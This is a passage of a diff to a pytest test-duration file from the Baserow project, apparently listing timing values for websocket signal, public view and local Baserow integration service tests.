"tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_still_be_visible_event_sent[grid]": 0.45328454102855176, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_be_not_visible_event_sent": 0.7230031399994914, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_be_not_visible_event_sent[gallery]": 0.1826943759997448, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_be_not_visible_event_sent[grid]": 0.646774999999252, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_be_not_visible_event_sent[gallery]": 0.6180945839732885, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_be_not_visible_event_sent[grid]": 0.4772702920308802, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_some_not_be_visible_event_sent": 0.7389681379972899, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_some_not_be_visible_event_sent[gallery]": 0.16742770899872994, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_some_not_be_visible_event_sent[grid]": 0.4042213329994411, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_some_not_be_visible_event_sent[gallery]": 0.2454954569984693, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_to_some_not_be_visible_event_sent[grid]": 0.4603968330193311, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_subset_rows_visible_in_public_view_no_filters": 0.6798730900009105, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_subset_rows_visible_in_public_view_no_filters[gallery]": 0.17583612499947776, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_subset_rows_visible_in_public_view_no_filters[grid]": 0.3429903739988731, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_subset_rows_visible_in_public_view_no_filters[gallery]": 0.24352312498376705, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_subset_rows_visible_in_public_view_no_filters[grid]": 0.3803337089775596, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_invisible_in_public_view_when_moved_no_update_sent": 0.6743033480015583, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_invisible_in_public_view_when_moved_no_update_sent[gallery]": 0.18438266699922679, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_invisible_in_public_view_when_moved_no_update_sent[grid]": 0.4133854580004481, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_invisible_in_public_view_when_moved_no_update_sent[gallery]": 0.24675183300860226, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_invisible_in_public_view_when_moved_no_update_sent[grid]": 0.4306277080322616, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_not_visible_in_public_view_when_updated_to_be_visible_event_sent": 0.6545177359985246, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_not_visible_in_public_view_when_updated_to_be_visible_event_sent[gallery]": 0.17144766799992794, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_not_visible_in_public_view_when_updated_to_be_visible_event_sent[grid]": 0.42601033299888513, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_not_visible_in_public_view_when_updated_to_be_visible_event_sent[gallery]": 0.24324495802284218, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_not_visible_in_public_view_when_updated_to_be_visible_event_sent[grid]": 0.43693358401651494, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_moved_row_updated_sent": 0.7205580320005538, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_moved_row_updated_sent[gallery]": 0.1703887500007113, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_moved_row_updated_sent[grid]": 0.4069424990002517, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_moved_row_updated_sent[gallery]": 0.24696991697419435, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_moved_row_updated_sent[grid]": 0.437285709020216, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_be_not_visible_event_sent": 0.6890489539982809, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_be_not_visible_event_sent[gallery]": 0.17175370800032397, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_be_not_visible_event_sent[grid]": 0.41919691800103465, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_be_not_visible_event_sent[gallery]": 0.24017483400530182, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_be_not_visible_event_sent[grid]": 0.45490191798307933, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_still_be_visible_event_sent": 0.6862357440040796, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_still_be_visible_event_sent[gallery]": 0.16966620800121746, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_still_be_visible_event_sent[grid]": 0.4086786670004585, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_still_be_visible_event_sent[gallery]": 0.24925233400426805, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_given_row_visible_in_public_view_when_updated_to_still_be_visible_event_sent[grid]": 0.45781279099173844, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_restricted_row_created_ws_event": 0.6965906550030923, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_restricted_row_created_ws_event[gallery]": 0.1679731249996621, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_restricted_row_created_ws_event[grid]": 0.3932892090006135, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_restricted_row_created_ws_event[gallery]": 0.2434738329902757, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_restricted_row_created_ws_event[grid]": 0.45676216602441855, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_row_created_only_when_filters_match": 0.7306310329986445, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_row_created_only_when_filters_match[gallery]": 0.18451729200023692, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_row_created_only_when_filters_match[grid]": 0.3960613329991247, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_row_created_only_when_filters_match[gallery]": 0.23994966599275358, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_created_public_views_receive_row_created_only_when_filters_match[grid]": 0.487891333992593, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_restricted_row_deleted_ws_event": 0.7010217880051641, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_restricted_row_deleted_ws_event[gallery]": 0.17053875000055996, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_restricted_row_deleted_ws_event[grid]": 0.3570089579989144, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_restricted_row_deleted_ws_event[gallery]": 0.24291687598451972, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_restricted_row_deleted_ws_event[grid]": 0.3714054150041193, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_row_deleted_only_when_filters_match": 0.7061858090055466, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_row_deleted_only_when_filters_match[gallery]": 0.17090637399905972, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_row_deleted_only_when_filters_match[grid]": 0.40458333299920923, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_row_deleted_only_when_filters_match[gallery]": 0.26608766699791886, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_deleted_public_views_receive_row_deleted_only_when_filters_match[grid]": 0.4221472100180108, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_restricted_row_created_ws_event": 0.6953729260058026, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_restricted_row_created_ws_event[gallery]": 0.173625083000843, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_restricted_row_created_ws_event[grid]": 0.3582464999999502, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_restricted_row_created_ws_event[gallery]": 0.24659179098671302, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_restricted_row_created_ws_event[grid]": 0.38867466800729744, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_row_created_only_when_filters_match": 0.7276760860004288, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_row_created_only_when_filters_match[gallery]": 0.16971250000005966, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_row_created_only_when_filters_match[grid]": 0.4127721680006289, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_row_created_only_when_filters_match[gallery]": 0.24899733401252888, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_when_row_restored_public_views_receive_row_created_only_when_filters_match[grid]": 0.4436625840025954, "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_hidden_in_public_view_field_force_refresh_sent": 0.6312210399919422, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_hidden_in_public_view_field_force_refresh_sent[gallery]": 0.1673490839993974, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_hidden_in_public_view_field_force_refresh_sent[grid]": 0.38309420899986435, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_hidden_in_public_view_field_force_refresh_sent[gallery]": 0.2429393339843955, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_hidden_in_public_view_field_force_refresh_sent[grid]": 0.42729616598808207, "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_unhidden_in_public_view_force_refresh_sent": 0.7316231580007297, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_unhidden_in_public_view_force_refresh_sent[gallery]": 0.18607137500021054, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_unhidden_in_public_view_force_refresh_sent[grid]": 0.4245234990003155, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_unhidden_in_public_view_force_refresh_sent[gallery]": 0.24662399900262244, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_field_unhidden_in_public_view_force_refresh_sent[grid]": 0.42940441699465737, "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_only_field_options_updated_in_public_grid_view_force_refresh_sent": 0.6468177849965286, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_only_field_options_updated_in_public_grid_view_force_refresh_sent[gallery]": 0.17027108400088764, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_only_field_options_updated_in_public_grid_view_force_refresh_sent[grid]": 0.4029030830006377, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_only_field_options_updated_in_public_grid_view_force_refresh_sent[gallery]": 0.25367116698180325, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_only_field_options_updated_in_public_grid_view_force_refresh_sent[grid]": 0.42864450099295937, "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_created_for_public_view_force_refresh_sent": 0.6949863679983537, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_created_for_public_view_force_refresh_sent[gallery]": 0.17268783300005452, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_created_for_public_view_force_refresh_sent[grid]": 0.38443670899960125, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_created_for_public_view_force_refresh_sent[gallery]": 0.2475295839831233, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_created_for_public_view_force_refresh_sent[grid]": 0.4046784169913735, "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_deleted_for_public_view_force_refresh_event_sent": 0.7080716739983473, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_deleted_for_public_view_force_refresh_event_sent[gallery]": 0.16827016699971864, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_deleted_for_public_view_force_refresh_event_sent[grid]": 0.3725892499996917, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_deleted_for_public_view_force_refresh_event_sent[gallery]": 0.25383300002431497, + "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_deleted_for_public_view_force_refresh_event_sent[grid]": 0.4063895409926772, "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_updated_for_public_view_force_refresh_event_sent": 0.6414869539985375, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_updated_for_public_view_force_refresh_event_sent[gallery]": 0.17138270800023747, - "tests/baserow/contrib/database/ws/public/test_public_ws_view_signals.py::test_when_view_filter_updated_for_public_view_force_refresh_event_sent[grid]": 0.3767232080008398, - "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_created": 0.33924033300081646, - "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_deleted": 0.3217164990001038, - "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_restored": 0.3594926260002467, - "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_restored_doesnt_do_n_plus_some_queries": 0.4006354579996696, - "tests/baserow/contrib/database/ws/test_ws_fields_signals.py::test_field_updated": 0.3406933330006723, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_join_view_page_as_anonymous_user": 0.506558708000739, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_public_view_page_broadcast": 0.00984470899857115, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_public_view_page_can_add": 0.4329615829983595, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_public_view_page_get_group_name": 0.008845416001349804, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_broadcast": 0.009042417003001901, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_can_add": 0.2956134169990037, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_get_group_name": 0.009358291999888024, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_row_page_get_permission_channel_group_name": 0.00863762400149426, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_broadcast": 0.009188959000312025, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_can_add": 0.2883772499999395, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_get_group_name": 0.009289708001233521, - "tests/baserow/contrib/database/ws/test_ws_pages.py::test_table_page_get_permission_channel_group_name": 0.009140876001765719, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_populates_with_row_id_metadata": 0.009440374000405427, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_created": 0.35775399999874935, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_created_with_metadata": 0.3253269580000051, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_deleted": 0.3386969600005614, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_orders_recalculated": 0.309378416999607, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_updated": 0.3497231669998655, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_row_updated_with_metadata": 0.35391791700021713, - "tests/baserow/contrib/database/ws/test_ws_rows_signals.py::test_rows_history_updated": 0.35329224999986764, - "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_table_created": 0.3486816660006298, - "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_table_deleted": 0.3166600420008763, - "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_table_updated": 0.3178767500012327, - "tests/baserow/contrib/database/ws/test_ws_table_signals.py::test_tables_reordered": 0.32147900099971594, - "tests/baserow/contrib/database/ws/test_ws_table_tasks.py::test_unsubscribe_user_from_tables_and_rows_when_removed_from_workspace": 0.6093070840006476, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_created": 0.31650708300003316, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_decoration_created": 0.3180796239985284, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_decoration_deleted": 0.3157837919998201, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_decoration_updated": 0.31182083200019406, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_deleted": 0.3224434990006557, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_field_options_updated": 0.3272283330006758, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_created": 0.31479195799965964, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_deleted": 0.3182347910014869, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_group_created": 0.3332819169991126, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_group_deleted": 0.3354529589996673, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_group_updated": 0.31439195800066955, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_filter_updated": 0.3305999989997872, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_group_by_created": 0.3389263340004618, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_group_by_deleted": 0.3366467089999787, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_group_by_updated": 0.32852850100061914, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_sort_created": 0.3188004580006236, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_sort_deleted": 0.33131179199881444, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_sort_updated": 0.3143746239993561, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_view_updated": 0.31790591700064397, - "tests/baserow/contrib/database/ws/test_ws_view_signals.py::test_views_reordered": 0.3129273340000509, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_create_local_baserow_delete_row_service": 0.15188341699922603, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_data": 0.1727335840005253, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_data_row_not_exist": 0.15792587499981892, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_data_with_no_row_id": 0.1507827930008716, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_transform": 0.009519457999886072, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_update_local_baserow_delete_row_service": 0.14668883200010896, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_create_local_baserow_get_row_service": 0.15404237500024465, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_export_import_local_baserow_get_row_service": 0.30109279200041783, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_import_datasource_provider_formula_using_get_row_service_containing_no_field_fails_silently": 0.17649304199858307, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_import_formula_local_baserow_get_row_user_service_type": 0.31289129099968704, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_no_row_id": 0.16445520800061786, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_permission_denied": 0.1579112930003248, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_row_not_exist": 0.1525136250011201, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_with_service_integer_search": 0.16365158299959148, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_with_service_search": 0.1645509170002697, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_with_view_filter": 0.16845583499889472, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_transform": 0.16963079200104403, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_validation_error": 0.15026016699903266, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path0-database_fields0-expected0]": 0.010124376000021584, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path1-database_fields1-expected1]": 0.00910608200047136, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path2-database_fields2-expected2]": 0.008206376000089222, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path3-database_fields3-expected3]": 0.009588626001459488, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path4-database_fields4-expected4]": 0.009201667000525049, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path5-database_fields5-expected5]": 0.008484417000545363, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_update_local_baserow_get_row_service": 0.14674629099954473, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_create_local_baserow_list_rows_service": 0.15520875100082776, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_export_import_local_baserow_list_rows_service": 0.30462733500098693, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_import_datasource_provider_formula_using_list_rows_service_containing_no_row_or_field_fails_silently": 0.17268395900009637, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_import_formula_local_baserow_list_rows_user_service_type": 0.3096956670005966, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_before_dispatch_validation_error": 0.14358570800050074, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_permission_denied": 0.1672602079997887, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_pagination": 0.1849230420011736, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_varying_filter_types": 0.18749974999991537, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_view_and_service_filters": 0.18355716700079938, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_view_and_service_sorts": 0.19113012500019977, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_transform": 0.1681661249995159, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_import_context_path": 0.010120374000507582, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path0-database_fields0-expected0]": 0.010133707999557373, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path1-database_fields1-expected1]": 0.008693374998983927, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path2-database_fields2-expected2]": 0.008478625000861939, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path3-database_fields3-expected3]": 0.008304289999614411, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path4-database_fields4-expected4]": 0.008383625000533357, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path5-database_fields5-expected5]": 0.008836374999191321, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_update_local_baserow_list_rows_service": 0.14882383300027868, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_export_import_local_baserow_upsert_row_service": 0.6524736259989368, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_after_update": 0.3266212919997997, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_disabled_field_mapping_fields": 0.18335100100011914, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_incompatible_value": 0.17772441700071795, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_multiple_formulas": 0.1962478760005979, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_read_only_table_field": 0.1769324590013639, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_row_id": 0.19181541800026025, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_unknown_row_id": 0.15681783400032145, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_without_row_id": 0.16851616599979025, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_transform": 0.17024624999976368, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_prepare_values": 0.14317229100015538, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_resolve_service_formulas": 0.16343529099958687, - "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_type_import_path": 0.011152541000228666, - "tests/baserow/contrib/integrations/local_baserow/test_integration_signals.py::test_local_baserow_upsert_row_handle_field_mapping_field_changes": 0.22437866599921108, - "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_create_local_baserow_integration_with_user": 0.15158554299978277, - "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_integrations_serializer": 0.3230320840002605, - "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases": 0.18479841699991084, - 